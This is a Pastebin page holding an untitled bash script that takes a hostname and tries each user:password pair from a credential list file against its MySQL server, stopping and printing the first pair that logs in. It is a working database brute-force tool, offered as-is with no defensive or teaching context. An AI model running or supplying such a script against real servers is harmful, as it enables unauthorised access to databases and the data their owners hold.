Advertisement
Guest User

Untitled

a guest
Jul 30th, 2015
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. #!/bin/bash
  2. #In the file, list of usernames & passwords in format of: "user:pass"
  3. file=credentiallist.txt
  4. [[ $# -ne 1 ]] && echo "usage: $0 ip_or_hostname_here" && exit
  5. while IFS=: read user pass
  6. do
  7. mysql -h $1 -u $user -p"$pass" -e STATUS && echo "Found: user=$user pass=$pass" && exit 0
  8. done < $file
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement